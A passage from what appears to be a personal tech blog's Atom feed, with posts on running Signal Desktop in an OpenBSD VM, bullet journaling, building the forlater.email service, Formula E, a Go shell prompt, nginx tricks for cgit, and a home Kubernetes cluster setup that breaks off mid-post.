&quot;/path/to/mini.iso&quot; disk &quot;/path/to/ubuntu.img&quot; interfaces 1 local interface tap owner icy # this is your user disable } </code></pre> <p>Start and (optionally) enable <a href="https://man.openbsd.org/vmd" rel="nofollow">vmd(8)</a>.</p> <pre><code class="language-sh">$ doas rcctl -f start vmd $ doas rcctl enable vmd </code></pre> <p>We can now boot into the VM, and interface via the serial console. This can be done using <a href="https://man.openbsd.org/vmctl" rel="nofollow">vmctl(8)</a>.</p> <pre><code class="language-sh">$ vmctl start -c ubuntu # note -c for console </code></pre> <p>Hit Tab on the bootloader screen to edit the kernel parameters. We want to force it to use the serial console for installation. This is done by adding <code>console=ttyS0,115200</code> on the line shown. If there&rsquo;s a <code>quiet</code>, delete that and add the above. You can then continue on with the installation&mdash;install OpenSSH, add your keys etc.</p> <p>Once installed, remove the <code>cdrom</code> line from your <code>vm.conf</code> and start the VM without the serial console.</p> <pre><code>$ vmctl start ubuntu </code></pre> <h2 id="installing-and-running-signal-desktop">installing and running Signal Desktop</h2> <p>SSH into the VM with X11 forwarding enabled:</p> <pre><code class="language-sh">$ ssh -Y myvmhost </code></pre> <p>Install <code>signal-desktop</code>, following the instructions at <a href="https://signal.org/download" rel="nofollow">https://signal.org/download</a>. You can now run the <code>signal-desktop</code> command from the VM&rsquo;s shell. As long as it spawns a GUI, the multitude of warnings and errors it produces can ge ignored.</p> <p>Below is a helper script to launch Signal from your host machine:</p> <pre><code class="language-sh">#!/bin/sh # signal: launch signal-desktop via a vm (vmm(4)) status=&quot;$(vmctl status ubuntu | grep running)&quot; [[ &quot;$status&quot; == &quot;&quot; ]] &amp;&amp; { vmctl start ubuntu sleep 10 } ssh -Y pantwo signal-desktop &amp;&gt; /dev/null </code></pre> <p><img src="https://cdn.icyphox.sh/HwF45.png" alt="signal desktop" /></p> <h2 id="caveats">caveats</h2> <ul> <li>Files to be shared will have to be transferred to the VM&rsquo;s filesystem for upload. Images/text can be pasted into the text-box from the clipboard, however.</li> <li>UI elements are slightly laggy but text input is fast enough.</li> <li>No notifications, but I think that&rsquo;s a feature.</li> </ul> + + + The quest to optimize productivity + 2021-11-04T00:00:00Z + tag:icyphox.sh/,2021-11-04:blog/bujo + + <h2>This blog is devolving into a techbro cliché</h2> <p>Us folks in tech have this general obsession with productivity. It&rsquo;s all about getting the workflow <em>just right</em>. Or at least, that&rsquo;s the goal. Heck, there are entire companies built around optimizing productivity in specific workflows&mdash;email, notes, tasks, etc. Suffice to say, there&rsquo;s a lot of activity in this space.</p> <p>I&rsquo;ve heard reports of varying degrees of success with these tools, from &ldquo;OMG it like, totally changed how I take notes!&rdquo;, to &ldquo;I&rsquo;m not sure it&rsquo;s worth paying $30 per month for a mail client&rdquo; (yeah, you know the one)<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup>. However, I will never use these tools. Primarily because I don&rsquo;t trust them&mdash;I don&rsquo;t trust them with my data; more importantly, I don&rsquo;t trust them to exist long enough before they decide to thank me for their incredible journey and &ldquo;sunset&rdquo; their product.</p> <p>That said, I wasn&rsquo;t entirely opposed to digital solutions. I tried a method called the OBTF, or the One Big Text File. It&rsquo;s what it says on the tin: a single text file to manage everything&mdash;tasks, email, meetings, notes, habit tracking, etc. Its effectiveness relies on your text editor&rsquo;s ability to search for things. I even came up with my own &ldquo;syntax&rdquo; to help accelerate finding relevant bits. It looked like so:</p> <pre><code>wed, 03 nov some task here // DONE another task here a note here meet foo @ 12:30 // CANCELLED </code></pre> <p>I don&rsquo;t exactly recall why I stopped doing it, but I did. Maybe because I tried to do way too many things all at once. It also meant I needed to be at my computer to update tasks&mdash;some of which were offline/IRL. Yeah, you can see where this is going. You probably guessed it from the post slug. That&rsquo;s right&mdash;bullet journaling. Well, sort of&mdash;let me explain.</p> <p>The <a href="https://youtu.be/fm15cmYU0IM" rel="nofollow">bullet journal method</a> is a somewhat involved process. I recommend watching the video since I&rsquo;m going to skip explaining how bullet journaling works. The method I use draws inspiration from bullet journaling&mdash;but just mostly the task symbols and daily/weekly logs. These are the symbols I use:</p> <ul> <li><code>•</code> is a new task</li> <li><code>×</code> is a completed task</li> <li><code>&gt;</code> is a task that&rsquo;s been carried forward</li> <li><code>~strikethrough~</code> is a cancelled task</li> <li><code>-</code> represents a note</li> </ul> <p>And somewhat less commonly, <code>⊙</code> (a circled dot) to scribble a small note pertaining to that task, i.e. reason for cancellation, delegation, etc. Tasks are sometimes broken down into further subtasks represented as a checkbox <code>□</code>. Ticking off a checkbox feels great.</p> <p>Tasks are grouped under a weekly list, running from Monday to Sunday. I had previously done daily lists, but that&hellip; didn&rsquo;t really work out. Here&rsquo;s what happened:</p> <pre><code>mon, 01 nov &gt; long task here × something else tue, 02 nov &gt; long task here wed, 03 nov &gt; long task here ... </code></pre> <p>See the problem? Most often, my tasks tend to span an entire week. While I could theoretically break it down into subtasks, stuff like &ldquo;Write an RFC for Foo Service&rdquo; are just that. It&rsquo;s a big task, and I can&rsquo;t really break it down. Hence, the running weekly log.</p> <p>I can&rsquo;t go without posting what it actually looks like in my notebook; so here, have a FOIA-declassified-looking picture of my bullet journal.</p> <p><img src="https://cdn.icyphox.sh/QzrdK.jpeg" alt="bullet journal" /></p> <p>This was when I first attempted the weekly log. Evidently, I struggled to compute dates accurately. And yes, &ldquo;rice acme&rdquo; was a task&mdash;one that I promptly completed, I&rsquo;ll have you know.</p> <p>I use a pencil to write. There&rsquo;s no real reason for it, but I started the book with a pencil and I plan to continue with it until I finsh this notebook&mdash;there&rsquo;s still about half of it left. I plan to cop a dotgrid notebook for my next one, and start using a pen.</p> <p><img src="https://cdn.icyphox.sh/0psb8.jpeg" alt="notebook with sticker" /></p> <p>At first I was sceptical. I didn&rsquo;t think I&rsquo;d stick to it. But hey, looks like I did. I&rsquo;ve been using my bullet journal spinoff method to great success for the past 6-odd months. Have I become more productive? I don&rsquo;t know, but I can confidently state that my head has become &ldquo;lighter&rdquo;. I no longer have to <em>remember</em> tasks; I can simply offload them to my journal.</p> <p>I think the key to making it work was the realization that it&rsquo;s not &ldquo;perfect&rdquo;. I put perfect in quotes because I had this notion of an all-in-one, flawless productivity tool that&rsquo;ll take care of everything, from anywhere. I then embraced the fact that some tasks don&rsquo;t really need noting down and it&rsquo;s ok to <em>not follow the rules</em>. I guess what I&rsquo;m trying to say is&mdash;don&rsquo;t force it; use the journal loosely.</p> <p>No self-help-productivity-bullshit-post is complete without a list of tips, so here it is:</p> <ul> <li>Make it your own. Don&rsquo;t attempt to shoehorn someone else&rsquo;s solution.</li> <li>Don&rsquo;t try to manage everything&mdash;that hardly ever works.</li> <li>Don&rsquo;t over optimize. Task states don&rsquo;t need 20 different symbols. Keep it simple.</li> <li>It doesn&rsquo;t have to be an art project<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup>. I know mine isn&rsquo;t. Keep it functional.</li> </ul> <p>Okay, this self-help-productivity-bullshit-post is now complete.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:1">In case you didn&rsquo;t, I&rsquo;m talking about Superhuman. <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:2"><p>I&rsquo;m looking at you, <a href="https://old.reddit.com/r/bulletjournal" rel="nofollow">r/bulletjournal</a>.</p> <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + How I built forlater.email + 2021-09-25T00:00:00Z + tag:icyphox.sh/,2021-09-25:blog/building-forlater + + <h2>A technical breakdown of my first big side-project</h2> <p>Ever since I began browsing sites like Hacker News and Lobsters, coming across new and exciting links to check out every day, I found it hard to keep up. On most days, I just didn&rsquo;t. And that&rsquo;s fine&mdash;<a href="/blog/dont-news">good, even</a>. But oftentimes, I&rsquo;d come across a genuinely interesting link but no time to actually read it.</p> <p>I began using Pocket. It was alright&mdash;the article view was very good; but it stopped there. I didn&rsquo;t like nor use the other junk baked into the app: discover, following/friends thing, etc. It&rsquo;s also proprietary, and that irked me&mdash;more so than the other &ldquo;features&rdquo;.</p> <p>Thus, somewhat inspired by rss2email, I began building <a href="https://forlater.email" rel="nofollow">forlater.email</a>&mdash;a bookmarking/read-later service that works via email. Email is the perfect tool for this use-case: works offline; you can organize it however you like; you own your data.</p> <p><img src="https://cdn.icyphox.sh/JNAn4.png" alt="forlater arch" /></p> <p>Pictured above is how forlater works. Each component is explained below.</p> <h2 id="opensmtpd">OpenSMTPD</h2> <p>Mail containing links to be saved arrive here. OpenSMTPD is beautiful software, and its configuration is stupid simple (<a href="https://man.openbsd.org/smtpd.conf" rel="nofollow">smtpd.conf(5)</a>):</p> <pre><code class="language-conf">table blocklist file:/etc/smtpd/blocklist action webhook mda &quot;/home/icy/forlater/mdawh/mdawh&quot; match mail-from &lt;blocklist&gt; for any reject match from any for rcpt-to &quot;save@forlater.email&quot; action webhook </code></pre> <p>The <code>filter</code> and <code>listen</code> directives have been snipped for brevity. The rest, in essence, simply sends all mail to <code>save@forlater.email</code> to an MDA program, via stdin. Any mail from an address in the blocklist file get rejected.</p> <p><a href="https://rspamd.com" rel="nofollow">rspamd</a> is used to prevent spam.</p> <h2 id="mdawh">mdawh</h2> <p><a href="https://git.icyphox.sh/forlater/mdawh" rel="nofollow">mdawh</a>, or the MDA webhook tool. A small Go program that processes mail coming from stdin and generates a JSON payload that looks like so:</p> <pre><code class="language-json">{ &quot;from&quot;: &quot;foo@bar.com&quot;, &quot;date&quot;: &quot;Fri, 1 Jan 2010 00:00:00 UTC&quot;, &quot;replyto&quot;: &quot;...&quot;, &quot;body&quot;: &quot;...&quot;, &quot;parts&quot;: { &quot;text/plain&quot;: &quot;...&quot;, &quot;text/html&quot;: &quot;...&quot;, } } </code></pre> <p>This is POSTed to a configured HTTP endpoint&mdash;which in this case, is navani.</p> <h2 id="navani">navani</h2> <p><a href="https://git.icyphox.sh/forlater/navani" rel="nofollow">navani</a> is forlater&rsquo;s primary mail processing service<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup>. Listens for webhooks from mdawh, processes them, and sends mail using a configured SMTP server. URLs are cached in Redis along with the HTML content.</p> <p>For the readable HTML, <a href="https://github.com/go-shiori/go-readability" rel="nofollow">go-readability</a> is used; the output of which is rendered into a minimal <a href="https://git.icyphox.sh/forlater/navani/tree/templates/html.tpl" rel="nofollow">HTML email template</a> -- something that I never want to write again.</p> <p>The plaintext part is currently generated using <code>lynx -image_links -dump -stdin</code>. The <code>-image_links</code> flag is handy because it generates footnote links for images as well, instead of simply ignoring images altogether. I plan to rewrite this; possibly using a blend of HTML-to-plaintext libraries and handwritten rules.</p> <h2 id="future-improvements">future improvements</h2> <p>I plan to implement some kind of <code>settings@</code> address to configure and store user settings (dark theme? fonts?). However, this introduces state in an otherwise mostly stateless system.</p> <p>The other thing I&rsquo;ve been thinking of is making your own newsletter of sorts. For example: save a bunch of links during the week, and have them all delivered over the weekend.</p> <p>Neither of these &ldquo;features&rdquo; are confirmed to happen, primarily because forlater is feature-complete for my use. That said, I&rsquo;m happy to consider any improvements or suggestions that you might have&mdash;please <a href="mailto:x@icyphox.sh" rel="nofollow">email me</a>.</p> <p>Finally, thanks to everyone who tossed a few bucks my way&mdash;mighty kind of you.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:1">Named after <a href="https://coppermind.net/wiki/Navani_Kholin" rel="nofollow">Navani Kholin</a>. <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Launching forlater.email + 2021-09-17T00:00:00Z + tag:icyphox.sh/,2021-09-17:blog/forlater + + <h2>An email-based bookmarking service</h2> <p>This is a shill post. I&rsquo;m launching my new side-project: <a href="https://forlater.email" rel="nofollow">https://forlater.email</a>. It&rsquo;s an email-based bookmarking service&mdash;you send an email to <code>save@forlater.email</code>, get a readable, clutter-free version of it back.</p> <p>I&rsquo;ll write a more technical post on how I built it; this weekend perhaps. Until then, go try it!</p> + + + I can't take Formula E seriously + 2021-08-16T00:00:00Z + tag:icyphox.sh/,2021-08-16:blog/formula-e + + <h2>Toy cars racing in parking lots</h2> <p>For those unaware, <a href="https://en.wikipedia.org/wiki/Formula_E" rel="nofollow">Formula E</a>, or rather, the ABB FIA Formula E World Championship<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup> is the only fully electric open-wheel racing sanctioned by the FIA. The first season was in 2014 - 2015. 7 years later, it&rsquo;s just as bad as before.</p> <p>Formula E was supposed to be this new, revolutionary motorsport set to eventually replace Formula 1&mdash;or at the very least, compete alongside. It was supposed to be where teams could experiment; build better, more eco-friendly tech that can eventually find its way into road cars. Except&hellip;the FIA made it a spec series.</p> <p>This means all cars are basically identical&mdash;conforming to a predefined spec. While there&rsquo;s nothing wrong with spec series racing&mdash;Formula 2, IndyCar, etc. are still incredibly exciting&mdash;it&rsquo;s just not something you want in something like Formula E, where technical development is key. Further, the whole emphasis on &ldquo;road relevancy&rdquo; is kind of a meme when there&rsquo;s no engineering freedom given to constructors.</p> <p>No bother, at least the racing should be fun, right? They travel to cool cities and race on streets! Yeah&hellip;not really. Thing is, FE cars are slow. And to compensate this, they made tracks really narrow, with stupidly high barriers. There&rsquo;s no point in going to cool cities when you can&rsquo;t really see much of it. All tracks look the same: utterly soulless.</p> <p>And it doesn&rsquo;t end there. Formula E is gimmicky as hell. Like F1&rsquo;s DRS<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup>, FE&rsquo;s got &ldquo;Attack mode&rdquo;. Essentially, drivers recieve extra power by driving through a part of the track that&rsquo;s off the racing line. This is like, some NFS tier shit. But OK, I&rsquo;ll give it a pass&mdash;it&rsquo;s cringe, but it does allow for some good overtaking.</p> <p>&ldquo;Fanboost&rdquo;, however&hellip;Hoo boy. Basically, fans get to vote for their favourite drivers via social media, and the five drivers that win the vote each recieve extra power during the race. Yup. You read that right. They made a World Championship racing series a social media popularity contest.</p> <p><img src="https://cdn.icyphox.sh/VOodw.png" alt="formula e broadcast" /></p> <p>My last gripe is with the broadcast. It&rsquo;s so bad! They really should lose the gamer graphics. The driver list on the left is not color coded making it really hard to read. You have no idea who&rsquo;s who if you&rsquo;re new. And try and make the circuits look a little more interesting! I honestly couldn&rsquo;t tell you the difference between, say, the London and Berlin circuits.</p> <p>All things said, I will still watch Formula E&mdash;at least, the highlights. Watching bumper cars is somewhat fun when there&rsquo;s no F1 going on.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:1"><p>Which just ended, as of August 2021. It was also the first World Championship; the ones before weren&rsquo;t.</p> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:2"><a href="https://en.wikipedia.org/wiki/Drag_reduction_system" rel="nofollow">https://en.wikipedia.org/wiki/Drag_reduction_system</a> <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Writing a shell prompt in Go + 2021-08-12T00:00:00Z + tag:icyphox.sh/,2021-08-12:blog/go-shell-prompt + + <h2>Kinda faster than bash</h2> <p>For context, my bash prompt was previously <a href="https://git.icyphox.sh/dotfiles/tree/bash/.bashrc.d/99-prompt.bash?id=d7b391845abc7e97f2b1b96c34b4b1789b2ab541" rel="nofollow">written in, well, bash</a>. It used to call out to <code>git</code> for getting the branch and worktree status info. Parsing the output of <code>git status</code> and all that. It was ok, but I wanted something &hellip; cleaner.</p> <p>I chose Go, despite having written <a href="https://github.com/icyphox/nicy" rel="nofollow">nicy</a> in Nim<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup>; I&rsquo;m in a Go-phase right now, just like I was in a Nim-phase back in 2018. Anyway, let&rsquo;s cut to the chase.</p> <h2 id="the-basics">the basics</h2> <p>The current working directory is the bare minimum in a prompt. I prefer having it shortened; for example: <code>/home/icy/docs/books/foo.epub</code> → <code>~/d/b/foo.epub</code>. Let&rsquo;s write a function <code>trimPath</code> to do this for us:</p> <pre><code class="language-go">// Truncates the current working directory: // /home/icy/foo/bar -&gt; ~/f/bar func trimPath(cwd, home string) string { var path string if strings.HasPrefix(cwd, home) { path = &quot;~&quot; + strings.TrimPrefix(cwd, home) } else { // If path doesn't contain $HOME, return the // entire path as is. path = cwd return path } items := strings.Split(path, &quot;/&quot;) truncItems := []string{} for i, item := range items { if i == (len(items) - 1) { truncItems = append(truncItems, item) break } truncItems = append(truncItems, item[:1]) } return filepath.Join(truncItems...) } </code></pre> <p><code>trimPath</code> takes two args: the current working directory <code>cwd</code>, and the home directory <code>home</code>. We first check if <code>cwd</code> starts with <code>home</code>, i.e. we&rsquo;re in a subdirectory of <code>home</code>; if yes, trim <code>home</code> from <code>cwd</code>, and replace it with a tilde <code>~</code>. We now have <code>~/docs/books/foo.epub</code>.</p> <p>Also note that we return the path as-is if we&rsquo;re not in a subdir of <code>home</code>&mdash;i.e. paths under <code>/</code>, like <code>/usr</code>, etc. I like to see these completely, just to be sure.</p> <p>We then split the path at <code>/</code><sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup>, and truncate each item in the resulting list&mdash;except for the last&mdash;down to the first character. Join it all together and return the resulting string&mdash;we have <code>~/d/b/foo.epub</code>.</p> <p>Next up: color.</p> <pre><code class="language-go">var ( red = color(&quot;\033[31m%s\033[0m&quot;) green = color(&quot;\033[32m%s\033[0m&quot;) cyan = color(&quot;\033[36m%s\033[0m&quot;) ) func color(s string) func(...interface{}) string { return func(args ...interface{}) string { return fmt.Sprintf(s, fmt.Sprint(args...)) } } </code></pre> <p>&hellip; I&rsquo;ll just let you figure this one out.</p> <h2 id="git-branch-and-clean-dirty-info">git branch and clean/dirty info</h2> <p>The defacto lib for git in Go is often <a href="https://github.com/go-git/go-git" rel="nofollow">go-git</a>. I don&rsquo;t disagree that it is a good library: clean APIs, good docs. It just has one huge issue, and especially so in our case. It&rsquo;s <code>worktree.Status()</code> function&mdash;used to fetch the worktree status&mdash;is <a href="https://github.com/go-git/go-git/issues/327" rel="nofollow">awfully slow</a>. It&rsquo;s not noticeable in small repositories, but even relatively large ones (~30MB) tend to take about 20 seconds. That&rsquo;s super not ideal for a prompt.<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup></p> <p>The alternative? <a href="https://github.com/libgit2/git2go" rel="nofollow">libgit2/git2go</a>, of course! It&rsquo;s the Go bindings for libgit2&mdash;obviously, it requires CGo, but who cares.</p> <p>First things first, let&rsquo;s write <code>getGitDir</code> to find <code>.git</code> (indicating that it&rsquo;s a git repo), and return the repository path. We&rsquo;ll need this to use git2go&rsquo;s <code>OpenRepository()</code>.</p> <pre><code class="language-go">// Recursively traverse up until we find .git // and return the git repo path. func getGitDir() string { cwd, _ := os.Getwd() for { dirs, _ := os.ReadDir(cwd) for _, d := range dirs { if &quot;.git&quot; == d.Name() { return cwd } else if cwd == &quot;/&quot; { return &quot;&quot; } } cwd = filepath.Dir(cwd) } } </code></pre> <p>This traverses up parent directories until it finds <code>.git</code>, else, returns an empty string if we&rsquo;ve reached <code>/</code>. For example: if you&rsquo;re in <code>~/code/foo/bar</code>, and the git repo root is at <code>~/code/foo/.git</code>, this function will find it.</p> <p>Alright, let&rsquo;s quickly write two more functions to return the git branch name, and the repository status&mdash;i.e., dirty or clean.</p> <pre><code class="language-go">// Returns the current git branch or current ref sha. func gitBranch(repo *git.Repository) string { ref, _ := repo.Head() if ref.IsBranch() { name, _ := ref.Branch().Name() return name } else { return ref.Target().String()[:7] } } </code></pre> <p>This takes a <code>*git.Repository</code>, where <code>git</code> is <code>git2go</code>. We first get the <code>git.Reference</code> and check whether it&rsquo;s a branch. If yes, return the name of the branch, else&mdash;like in the case of a detached HEAD state&mdash;we just return a short hash.</p> <pre><code class="language-go">// Returns • if clean, else ×. func gitStatus(repo *git.Repository) string { sl, _ := repo.StatusList(&amp;git.StatusOptions{ Show: git.StatusShowIndexAndWorkdir, Flags: git.StatusOptIncludeUntracked, }) n, _ := sl.EntryCount() if n != 0 { return red(&quot;×&quot;) } else { return green(&quot;•&quot;) } } </code></pre> <p>We use the <a href="https://godocs.io/github.com/libgit2/git2go/v31#Repository.StatusList" rel="nofollow"><code>StatusList</code></a> function to produce a <code>StatusList</code> object. We then check the <code>EntryCount</code>, i.e., the number of modified/untracked/etc. files contained in <code>StatusList</code>.<sup class="footnote-ref" id="fnref:4"><a href="#fn:4">4</a></sup> If this number is 0, our repo is clean; dirty otherwise. Colored symbols are returned accordingly.</p> <h2 id="putting-it-all-together">putting it all together</h2> <p>Home stretch. Let&rsquo;s write <code>makePrompt</code> to make our prompt.</p> <pre><code class="language-go">const ( promptSym = &quot;▲&quot; ) func makePrompt() string { cwd, _ := os.Getwd() home := os.Getenv(&quot;HOME&quot;) gitDir := getGitDir() if len(gitDir) &gt; 0 { repo, _ := git.OpenRepository(getGitDir()) return fmt.Sprintf( &quot;\n%s (%s %s)\n%s&quot;, cyan(trimPath(cwd, home)), gitBranch(repo), gitStatus(repo), promptSym, ) } return fmt.Sprintf( &quot;\n%s\n%s&quot;, cyan(trimPath(cwd, home)), promptSym, ) } func main() { fmt.Println(makePrompt()) } </code></pre> <p>There isn&rsquo;t much going on here. Get the necessary pieces like the current working directory, home and the git repo path. We return the formatted prompt string according to whether we&rsquo;re in git or not.</p> <p>Setting the prompt is simple. Point <code>PS1</code> to the built binary:</p> <pre><code class="language-bash">PS1='$(~/dotfiles/prompt/prompt) ' </code></pre> <p>And here&rsquo;s what it looks like, rendered: <img src="https://cdn.icyphox.sh/boh7u.png" alt="go prompt" /></p> <h2 id="benchmarking">benchmarking</h2> <p>Both &ldquo;benchmarks&rdquo; were run inside a sufficiently large git repository, deep inside many subdirs.</p> <p>To time the old bash prompt, I just copied all the bash functions, pasted it in my shell and ran:</p> <pre><code class="language-shell">~/C/d/a/n/y/b/d/t/yaml-1.1 (master •) ▲ time echo -e &quot;\n$(prompt_pwd)$(git_branch)\n▲$(rootornot)&quot; # output ~/C/d/a/n/y/b/d/t/yaml-1.1 (master •) ▲ real 0m0.125s user 0m0.046s sys 0m0.079s </code></pre> <p>0.125s. Not too bad. Let&rsquo;s see how long our Go prompt takes.</p> <pre><code class="language-shell">~/C/d/a/n/y/b/d/t/yaml-1.1 (master •) ▲ time ~/dotfiles/prompt/prompt # output ~/C/d/a/n/y/b/d/t/yaml-1.1 (master •) ▲ real 0m0.074s user 0m0.031s sys 0m0.041s </code></pre> <p>0.074s! That&rsquo;s pretty fast. I ran these tests a few more times, and the bash version was consistently slower&mdash;averaging ~0.120s; the Go version averaging ~0.70s. That&rsquo;s a win.</p> <p>You can find the entire source <a href="https://git.icyphox.sh/dotfiles/tree/prompt" rel="nofollow">here</a>.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:1"><p>It&rsquo;s a prompt &ldquo;framework&rdquo; thing that I actually only used for a month or so.</p> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:2">I don&rsquo;t care about Windows. <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:3"><a href="https://git.icyphox.sh/dotfiles/commit/?id=e1f6aaaf6ffd35224b5d3f057c28fb2560e1c3b0" rel="nofollow">https://git.icyphox.sh/dotfiles/commit/?id=e1f6aaaf6ffd35224b5d3f057c28fb2560e1c3b0</a> <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:4"><p>This took me a lot of going back and forth, and reading <a href="https://libgit2.org/libgit2/ex/HEAD/status.html" rel="nofollow">https://libgit2.org/libgit2/ex/HEAD/status.html</a> to figure out.</p> <a class="footnote-return" href="#fnref:4"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Make cgit go gettable + 2021-07-14T00:00:00Z + tag:icyphox.sh/,2021-07-14:blog/go-get-cgit + + <h2>go get git.icyphox.sh/* works!</h2> <p><code>go get</code> requires the presence of the <code>go-import</code> meta tag<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup> on the repository&rsquo;s web page. cgit doesn&rsquo;t support it out of the box; instead, we can make nginx inject it into every page. Enter: <code>sub_filter</code>.<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup></p> <p><code>sub_filter</code> is a function that simply performs a string replace. For example:</p> <pre><code class="language-nginx">location / { sub_filter '&lt;img src=dog.png&gt;' '&lt;img src=cat.png&gt;'; sub_filter_once on; } </code></pre> <p>In our case, we want to have the meta tag injected inside <code>&lt;head&gt;</code>.</p> <pre><code class="language-nginx">server { listen 443 ssl; server_name git.icyphox.sh; location / { ... sub_filter '&lt;/head&gt;' '&lt;meta name=&quot;go-import&quot; content=&quot;$host$uri git https://$host$uri&quot;&gt;&lt;/head&gt;'; sub_filter_once on; } } </code></pre> <p>The closing <code>&lt;/head&gt;</code> tag gets replaced&mdash;injecting the meta tag inside <code>&lt;head&gt;</code>. This can also be extended to add the <code>go-source</code> meta tag as well.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:1"><a href="https://godocs.io/cmd/go#hdr-Remote_import_paths" rel="nofollow">https://godocs.io/cmd/go#hdr-Remote_import_paths</a> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:2"><a href="http://nginx.org/en/docs/http/ngx_http_sub_module.html" rel="nofollow">http://nginx.org/en/docs/http/ngx_http_sub_module.html</a> <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Setting up a multi-arch Kubernetes cluster at home + 2021-06-19T00:00:00Z + tag:icyphox.sh/,2021-06-19:blog/k8s-at-home + + <h2>My self-hosted infra, given the cloud native™ treatment</h2> <p><strong>Update 2021&ndash;07&ndash;11</strong>: It was fun while it lasted. I took down the cluster today and probably won&rsquo;t go back to using it. It was way too much maintenance, and Kubernetes really struggles with just 1GB of RAM on a node. Constant outages, volumes getting corrupted (had to <code>fsck</code>), etc. Not worth the headache.</p> <p>I still remember my <a href="https://lobste.rs/s/kqucr4/unironically_using_kubernetes_for_my#c_kfldyw" rel="nofollow">Lobste.rs</a> comment, mocking some guy for running Kubernetes for his static blog&mdash;it <em>is</em> my highest voted comment after all. But to be fair, I&rsquo;m not running mine for a static blog. In fact, I&rsquo;m not even hosting my blog on the cluster; but I digress. Why did I do this anyway? Simply put: I was bored. I had a 4 day weekend at work and with nothing better to do to other than play Valorant, and risk losing my hard earned Bronze 2&mdash;I decided to setup a K8s cluster. These are the nodes in use:</p> <ul> <li><code>fern</code>: Raspberry Pi 4B (armhf, 4GB, 4 cores)</li> <li><code>jade</code>: Oracle VM (amd64, 1GB, 1 core)</li> <li><code>leaf</code>: Oracle VM (amd64, 1GB, 1 core)</li> </ul> <p>The Oracle machines are the free tier ones. It&rsquo;s great&mdash;two static public IPs, 50 gigs of boot volume storage on each + up to 100 gigs of block volume storage. All for free.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup> Great for messing around.</p> <p>Since my RPi is behind a CG-NAT, I&rsquo;m running a Wireguard mesh that looks something like this:</p> <p><img src="https://cdn.icyphox.sh/1Xkvh.png" alt="wireguard mesh" /></p> <p>Wireguard is fairly trivial to set up, and there are tons of guides online, so I&rsquo;ll skip that bit.</p> <h2 id="setting-up-the-cluster">setting up the cluster</h2> <p>I went with plain containerd as the CRI. Built v1.5.7 from source on all nodes.</p> <p>I considered running K3s, because it&rsquo;s supposedly &ldquo;lightweight&rdquo;. Except it&rsquo;s not really vanilla Kubernetes&mdash;it&rsquo;s more of a distribution. It ships with a bunch of things that I don&rsquo;t really want to use, like Traefik as the default ingress controller, etc. I know components can be disabled, but I couldn&rsquo;t be arsed. So, <code>kubeadm</code> it is.</p> <pre><code>kubeadm init --pod-network-cidr=10.244.0.0/16 --apiserver-advertise-address=192.168.4.2 </code></pre> <p>Since I&rsquo;m going to be using Flannel as the CNI provider, I set the pod network CIDR to Flannel&rsquo;s default. We also want the Kube API server to listen on the Wireguard interface IP, so specify that as well.</p> <p>Now, the <code>kubelet</code> needs to be configured to use the Wireguard IP, along with the correct <code>resolv.conf</code> on Ubuntu hosts (managed by <code>systemd-resolvd</code>)<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup>. This can be set via the <code>KUBELET_EXTRA_ARGS</code> environment variable, in <code>/etc/default/kubelet</code>, for each node:</p> <pre><code class="language-shell"># /etc/default/kubelet KUBELET_EXTRA_ARGS=--node-ip=192.168.4.X --resolv-conf=/run/systemd/resolve/resolv.conf </code></pre> <p>Nodes can now be <code>kubeadm join</code>ed to the control plane. Next, we setup the CNI. I went with Flannel because it has multi-arch images, and is pretty popular. However, we can&rsquo;t just apply Flannel&rsquo;s manifest&mdash;it must be configured to use the <code>wg0</code> interface. Edit <code>kube-flannel.yaml</code>:</p> <pre><code class="language-patch">... containers: - args: - --ip-masq - --kube-subnet-mgr + - --iface=wg0 ... </code></pre> <p>If everything went well, your nodes should now show as <code>Ready</code>. If not, well &hellip; have fun figuring out why. Hint: it&rsquo;s almost always networking.</p> <p>Make sure to un-taint your control plane so pods can be scheduled on it:</p> <pre><code>kubectl taint nodes --all node-role.kubernetes.io/master- </code></pre> <p>Finally, set the <code>--leader-elect</code> flag to <code>false</code> in your control plane&rsquo;s <code>/etc/kubernetes/manifests/kube-{controller-manager,scheduler}.yaml</code>. Since these are not replicated, leader election is not required. Else, they attempt a leader election, and for whatever reason&mdash;fail. Horribly.<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup></p> <h2 id="getting-the-infrastructure-in-place">getting the infrastructure in place</h2> <p>The cluster is up, but we need to set up the core components&mdash;ingress controller, storage, load balancer, provisioning certificates, container registry, etc.</p> <h3 id="metallb">MetalLB</h3> <p>The <code>LoadBalancer</code> service type in Kubernetes will not work in a bare metal environment&mdash;it actually calls out to the respective 